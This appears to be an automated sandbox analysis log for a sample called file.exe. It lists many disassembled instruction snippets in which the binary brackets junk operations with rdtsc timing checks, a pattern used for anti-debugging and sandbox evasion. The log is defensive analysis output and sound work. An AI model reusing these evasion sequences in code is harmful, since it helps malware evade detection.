Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68EFDE second address: 68F004 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5BB0EE6E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F5BB0EE6E1Dh 0x00000013 js 00007F5BB0EE6E16h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69012B second address: 69012F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692086 second address: 69208B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692157 second address: 692161 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6942BC second address: 6942DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6942DD second address: 6942E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6942E1 second address: 6942ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6942ED second address: 69438F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5BB112B656h 0x0000000a popad 0x0000000b pop ecx 0x0000000c nop 0x0000000d add dword ptr [ebp+1244F624h], esi 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov edi, dword ptr [ebp+12460C47h] 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007F5BB112B658h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 mov dword ptr [ebp+122D23A6h], ebx 0x00000047 mov bx, cx 0x0000004a mov eax, dword ptr [ebp+122D11BDh] 0x00000050 push 00000000h 0x00000052 push esi 0x00000053 call 00007F5BB112B658h 0x00000058 pop esi 0x00000059 mov dword ptr [esp+04h], esi 0x0000005d add dword ptr [esp+04h], 00000015h 0x00000065 inc esi 0x00000066 push esi 0x00000067 ret 0x00000068 pop esi 0x00000069 ret 0x0000006a jmp 00007F5BB112B65Fh 0x0000006f push FFFFFFFFh 0x00000071 sub dword ptr [ebp+1244D812h], esi 0x00000077 nop 0x00000078 pushad 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007F5BB112B668h 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69438F second address: 694399 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 694399 second address: 69439D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6952B6 second address: 69533A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop esi 0x0000000f pop ecx 0x00000010 nop 0x00000011 stc 0x00000012 push dword ptr fs:[00000000h] 0x00000019 movzx ebx, dx 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007F5BB0EE6E18h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 00000015h 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d jnl 00007F5BB0EE6E17h 0x00000043 mov eax, dword ptr [ebp+122D03D1h] 0x00000049 mov edi, dword ptr [ebp+122D1D1Eh] 0x0000004f push FFFFFFFFh 0x00000051 sub dword ptr [ebp+122D1BD6h], edx 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F5BB0EE6E24h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A659 second address: 69A674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5BB112B662h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A674 second address: 69A678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A678 second address: 69A682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D143 second address: 63D14B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F8F4 second address: 69F8F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F8F8 second address: 69F910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5BB0EE6E1Ah 0x0000000d pop edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F910 second address: 69F916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F916 second address: 69F94E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E26h 0x00000007 jmp 00007F5BB0EE6E29h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69F94E second address: 69F954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69EFD0 second address: 69EFD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69EFD4 second address: 69EFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F5BB112B667h 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69EFF5 second address: 69EFFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2710 second address: 6A2715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A29D4 second address: 6A29E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov eax, dword ptr [eax] 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F5BB0EE6E16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA3B0 second address: 6AA3D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B661h 0x00000007 jg 00007F5BB112B656h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 jnp 00007F5BB112B678h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA533 second address: 6AA537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA676 second address: 6AA67D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA67D second address: 6AA683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA7DE second address: 6AA7E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA7E2 second address: 6AA7E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA7E6 second address: 6AA800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F5BB112B660h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA800 second address: 6AA816 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA9AC second address: 6AA9B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF038 second address: 6AF057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E1Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5BB0EE6E1Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6421B1 second address: 6421B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6421B7 second address: 6421BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677FDD second address: 677FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677FE4 second address: 677FEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677FEA second address: 677FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677FEE second address: 661064 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, dword ptr [ebp+122D1A73h] 0x00000011 call dword ptr [ebp+122D1A73h] 0x00000017 pushad 0x00000018 jmp 00007F5BB0EE6E26h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F5BB0EE6E26h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6785A5 second address: 6785A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6785A9 second address: 678604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 5BE2145Ch 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F5BB0EE6E18h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 xor cl, FFFFFFD3h 0x0000002a call 00007F5BB0EE6E19h 0x0000002f js 00007F5BB0EE6E33h 0x00000035 pushad 0x00000036 jmp 00007F5BB0EE6E25h 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678604 second address: 67863C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F5BB112B667h 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5BB112B665h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67863C second address: 678643 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67888E second address: 678894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678894 second address: 678898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678898 second address: 6788DA instructions: 0x00000000 rdtsc 0x00000002 je 00007F5BB112B656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jns 00007F5BB112B662h 0x00000016 jmp 00007F5BB112B65Ch 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push edi 0x0000001f jp 00007F5BB112B656h 0x00000025 pop edi 0x00000026 pushad 0x00000027 push eax 0x00000028 pop eax 0x00000029 jg 00007F5BB112B656h 0x0000002f popad 0x00000030 popad 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push ebx 0x0000003a pop ebx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6788DA second address: 6788F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6788F1 second address: 6788F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6788F7 second address: 6788FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6789CB second address: 6789CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678FDA second address: 678FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F5BB0EE6E16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6792A8 second address: 6792AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6792AC second address: 6792E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 ja 00007F5BB0EE6E1Bh 0x0000000e lea eax, dword ptr [ebp+1247BD3Fh] 0x00000014 nop 0x00000015 jmp 00007F5BB0EE6E24h 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e jno 00007F5BB0EE6E16h 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6792E5 second address: 661C8F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5BB112B658h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d adc ecx, 2C56D057h 0x00000013 lea eax, dword ptr [ebp+1247BCFBh] 0x00000019 ja 00007F5BB112B659h 0x0000001f nop 0x00000020 jmp 00007F5BB112B663h 0x00000025 push eax 0x00000026 jmp 00007F5BB112B661h 0x0000002b nop 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007F5BB112B658h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 0000001Ah 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 mov dword ptr [ebp+122DB33Bh], edx 0x0000004c call dword ptr [ebp+122D1A7Dh] 0x00000052 push edi 0x00000053 push edi 0x00000054 pushad 0x00000055 popad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661C8F second address: 661C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661C97 second address: 661C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661C9D second address: 661CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 jne 00007F5BB0EE6E1Ch 0x0000000d pushad 0x0000000e jmp 00007F5BB0EE6E23h 0x00000013 jng 00007F5BB0EE6E16h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661CCC second address: 661CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE312 second address: 6AE32A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB0EE6E1Bh 0x00000009 pop eax 0x0000000a je 00007F5BB0EE6E1Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE743 second address: 6AE75D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB112B664h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE75D second address: 6AE780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007F5BB0EE6E26h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE780 second address: 6AE78A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5BB112B656h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE78A second address: 6AE7C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F5BB0EE6E22h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F5BB0EE6E27h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE7C3 second address: 6AE7C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEBE7 second address: 6AEBF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B518B second address: 6B518F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B52D5 second address: 6B52E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 jmp 00007F5BB0EE6E1Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B52E8 second address: 6B52ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B52ED second address: 6B52F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B52F3 second address: 6B52F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5467 second address: 6B547E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB0EE6E1Dh 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B547E second address: 6B5483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B574A second address: 6B5750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5896 second address: 6B589D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B589D second address: 6B58A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B58A3 second address: 6B58A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B58A7 second address: 6B58AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5B64 second address: 6B5B6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5CB9 second address: 6B5CC9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jns 00007F5BB0EE6E16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5CC9 second address: 6B5CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5CCD second address: 6B5CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5BB0EE6E16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5CD9 second address: 6B5CE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edx 0x00000006 pop edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B60A3 second address: 6B60AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5BB0EE6E16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8F9F second address: 6B8FB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB112B662h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8FB5 second address: 6B8FBB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8FBB second address: 6B8FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B8FC5 second address: 6B8FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
